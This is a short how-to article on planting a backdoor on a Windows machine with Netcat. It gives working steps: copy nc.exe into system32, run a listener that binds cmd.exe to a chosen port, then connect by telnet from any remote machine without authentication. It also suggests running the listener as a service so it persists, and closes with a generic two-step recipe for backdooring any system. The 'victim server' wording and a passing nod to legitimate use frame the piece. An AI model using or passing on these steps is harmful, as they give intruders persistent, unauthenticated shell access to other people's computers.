Create a Back Door on Microsoft Windows

Many people think of Netcat as the Swiss army knife of TCP/IP. Although often used for nefarious purposes, Netcat can also be used for good. Using Netcat we can easily create a backdoor to any machine running Windows. All you have to do is perform the following steps:

• Download Netcat for Windows.
• Unzip nc.exe to the %SYSTEMROOT%\system32 directory.
• # Execute nc -d -L -e cmd.exe -p 10001. Change 10001 to which ever port you wish.
• From any remote machine accessible to the victim server — you can now telnet to the server on port 10001 — telnet X.X.X.X 10001 — without any authentication.

NOTE: As soon as you disconnect Netcat will stop running. Alternatively, you could also run it as a service.

Netcat is an excellent tool but is all too often used maliciously. Virus software often reports Netcat as a threat.

The Universal Way

How to create a back door on any OS:

1. Get root/administrator access.
2. Install any program that lets you run commands remotely.